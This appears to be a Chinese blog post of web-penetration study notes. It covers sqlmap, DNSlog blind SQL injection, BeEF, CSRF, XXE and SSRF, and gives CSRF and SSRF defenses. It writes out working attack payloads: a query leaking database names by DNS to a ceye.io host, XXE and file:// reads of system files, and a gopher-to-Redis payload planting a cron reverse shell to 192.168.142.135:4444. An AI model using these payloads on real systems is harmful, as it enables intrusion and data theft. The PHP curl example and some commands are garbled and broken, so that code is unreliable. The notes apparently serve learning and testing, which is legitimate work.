漏洞扫描(kali beef-xss、DNSlog、CSRF、SSRF)

发布于:2022-08-04 ⋅ 阅读:(1763) ⋅ 点赞:(2)

1、漏洞分类与分级(数据库)

1.1 权威平台

  • 国家信息安全漏洞库(CNNVD) http://www.cnnvd.org.cn/
  • 国家信息安全漏洞共享平台(CNVD) https://www.cnvd.org.cn/
  • 国家工业信息安全漏洞库(CICSVD) https://www.cics-vd.org.cn/
  • CVE http://cve.mitre.org

1.2 企业

  • https://www.butian.net/ 奇安信
  • https://www.vulbox.com/ 漏洞盒子
  • http://www.nsfocus.net 绿盟(引用CVE)
  • https://www.exploit-db.com/ Kali公司

1.3 SRC

http://0xsafe.org

2、sql注入(DNSlog)

 sqlmap

  1. sqlmap -u "url/?id=1"  --current-db
  2. sqlamp -u "url/?id=1" --level=num   --risk=num --dbs
  3. sqlamp -u "url/?id=1" --level=num   --risk=num   --dbms=mysql   -D "xxx"  --tables
  4. sqlamp -u "url/?id=1" --level=num   --risk=num  --dbms=mysql    -D "xxx" -T "xxx"  --col
  5. sqlamp -u "url/?id=1" --level=num   --risk=num  --dbms=mysql    -D "xxx" -T "xxx"  -C"xxx"  --dump

sqlmap -hh

2.1 DNSlog平台

ceye.io

2.2 UNC(windows)

Universal Naming Convention 

规定了文件统一的命名格式

2.3 Mysql中的secure_file_priv

配置值 描述
指定文件 导入导出只能发生在指定的文件夹
不设置 不准许执行
null

没有任何限制

2.3.1 Mysql读写文件

select LOAD_FILE('E:\\in.txt')

select jinyouqian INTO OUTFILE 'E:\\out.txt";

2.4 流程

1.把select  LOAD_FILE()注入到数据库,访问文件

2.UNC构建DNS服务器地址,假装访问文件。 产生DNSlog

select load_file('a.yourid.ceye.io/jinyouxin');    是转义功能

3.把子域名替换成函数或者是查询SQL

if((select load_file(concat('',database(),'.yourid.ceye.io/jinyiuxin'))),1,0)     黑体处拼接SQL语句

2.5 CEYE平台

注册 https://sso.telnet404.com/accounts/register/
查看ID和Token CEYE - Monitor service for security testing
查看DNSLog记录 CEYE - Monitor service for security testing

2.6 DNSlog注入脚本(sqlmap类似)

 3.XSS

3.1 kali中启动beef-xss

 (username = beef ;   password = you set )

3.1.1 The Browser Exploitation Framework

  • https://beefproject.com/
  • https://github.com/beefproject/beef/wiki/

(找时间专门写一个beef的使用)

4、CSRF

Cross-Site Request  Forgery

第三方网站利用被攻击网站生效的cookie,直接对服务器接口发起请求

4.1 和XSS区别

  • 有没有第三方的网站
  • 能不能获取到明文cookie
  • 是否需要注入代码到别人的网站

4.2  CSRF挖掘

(1)怎么确定一个接口地址有没有CSRF漏洞呢? 从第三方网站直接调用接口可以成功
(2)具体怎么对一个接口进行检测,确定是不是存在CSRF漏洞呢?

           抓取正常通信请求的数据包,再请求一次
(3)有没有自动检测CSRF漏洞的工具呢?
BurpSuite ->Send To ->Enagement tools ->Generate CSRF PoC
CSRFTester
https://github.com/s0md3v/Bolt
https://cloud.tencent.com/product/vss

4.3 CSRF防御

4.3.1 HTTP Requst Header

Referer :引用页;来源页面

functon: 跟踪来源,比如访问统计 

看请求头是否一致 

但是在BP下request可以更改referer的url,故可攻破

 4.3.2  Token

  1. 当用户正确的登入后,服务器下发 一个随机的token字段给客户端,并且把token字段保存在session中。
  2. 客户端把这个token保存起来,放到隐藏字段里面。
  3. 用户在登入状态下,在之后访问的时候,都要携带这个token字段。
  4. 服务端从seesion 中拿出token值进行比对,如果一致,则请求合法。
  5.  用户退出,则session失效,token销毁 

 4.4 二次认证

  • 验证码
  • 短信
  • 扫码
  • 人脸识别
  • DVWA-Impossible

5.XXE

5.1 XML基础知识

eXtensible  Markup  Language (可扩展标记语言)

5.1.1 用途

1.通信

 

2. 配置文件

 

5.1.2 内容

 格式要求

  • XML文档必须有根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

5.1.3  校验方法

DTD( Document Type Definiton)

元素(element)

语法:

<!ELEMENT element-name category>
或
<!ELEMENT element-name (element-content)>

eg:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

 实体(entity)

1.内部实体

语法:

<!ENTITY entity-name "entity-value">

eg:

DTD 实例:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML 实例:

<author>&writer;&copyright;</author>

2.外部实体

语法:

<!ENTITY entity-name SYSTEM "URI/URL">

eg:

DTD 实例:(声明)

<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">

XML example:(引用)

<author>&writer;&copyright;</author>

外部引用协议 

 

实例

<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>
<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">

<!-- 第三部分文档元素 --><note>
<to>Dave</to>
<from>GiGi</from>
<head>Reminder</head>
<body>fish together</body>
</note>

 5.2 什么是XXE

XML External Entity Injection  

如果Web应用的脚本代码没有限制XML引入外部 实体,从而导致用户可以插入一个 外部实体 ,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口 探测、攻击内网网站等危害。

5.3 XXE利用方式

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

 5.4 演示

<?xml version = "1.0"?>

<!DOCTYPE test [ <!ENTITY hacker "xiaowei">]>

<name>&hacker;</name> 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE name [<!ENTITY xxe SYSTEM"file:///C:/Windows/system.ini">]>

<name>&xxe;</name>
I

6.SSRF

SSRF (Server-Side Request Forgery)

服务器端请求伪造:是一种由攻击者构造形成 由 服务端 发起请求的一个安全漏洞。
function cur1($ur1){
$ ch = curL _ init ();
//设置 URL 和相应的选项
 curL _ setopt ($ ch , CURLOPT _ URL ,$ url ); 
 curL _ setopt ($ ch , CURLOPT _ HEADER ,);
//抓取 URL 并把它传递给浏览器
 curL _ exec ($ ch );
//关闭 cURL 资源,并且释放系统资源 curL _ close ($ ch );
$ url =$_ GET [' url ']; 
curl ($ url );
 ? >

1. php curl用途

  • 获取网页资源——爬虫
  • webservice——获取接口数据
  • FTP——下载文件

localhost / ssrf /ssrf1.php? url = www . baidu . com        即可访问到百度

6.1 可能引起SSRF漏洞

函数 作用
curl_exec()
执行 cURL 会话
file_get_contents()
将整个文件读入一个字符串
fsockopen()
打开一个网络连接或者一个Unix套 接字连接

6.2 CURL其他协议

协议 作用 payload
file
查看协议
curl -v 'file:///etc/passwd'
dict
探测端口
http://localhost/ssrf/ssrf1.php?
url=dict://127.0.0.1:3306
gopher
反弹shell
curl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

补充:

  • dict协议:用于搭建在线字典服务
  • gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

6.3 危害(利用方式)

1、扫描资产
2、获取敏感信息
3、攻击内网服务器(绕过防火墙)
4、访问大文件,造成溢出
5、通过Redis写入WebShell或建立反弹连接

6.4 实际案例

1、Wordpress 3.5.1以下版本 xmlrpc.php pingback的缺陷与SSFR
2、discuz!的SSRF(利用php的header函数来 绕过,其实就是302跳转实现协议转换)
3、weblogic的SSRF
思路
1、爬取地址
2、查看是否请求了其他资源
也可以用Google语法搜索关键字:
share、wap、url、link、src、source、target、u、 3g、display、sourceURL、imageURL、domain

6.5 工具

  • https://github.com/cujanovic/SSRF-Testing
  • https://github.com/tarunkant/Gopherus
  • https://github.com/swisskyrepo/SSRFmap

 站长工具 - 站长之家

6.6 防御

  • 禁用协议
  • 限制请求端口
  • 设置URL白名单
  • 过滤返回信息
  • 统一错误信息


微信公众号

今日签到

点亮在社区的每一天
去签到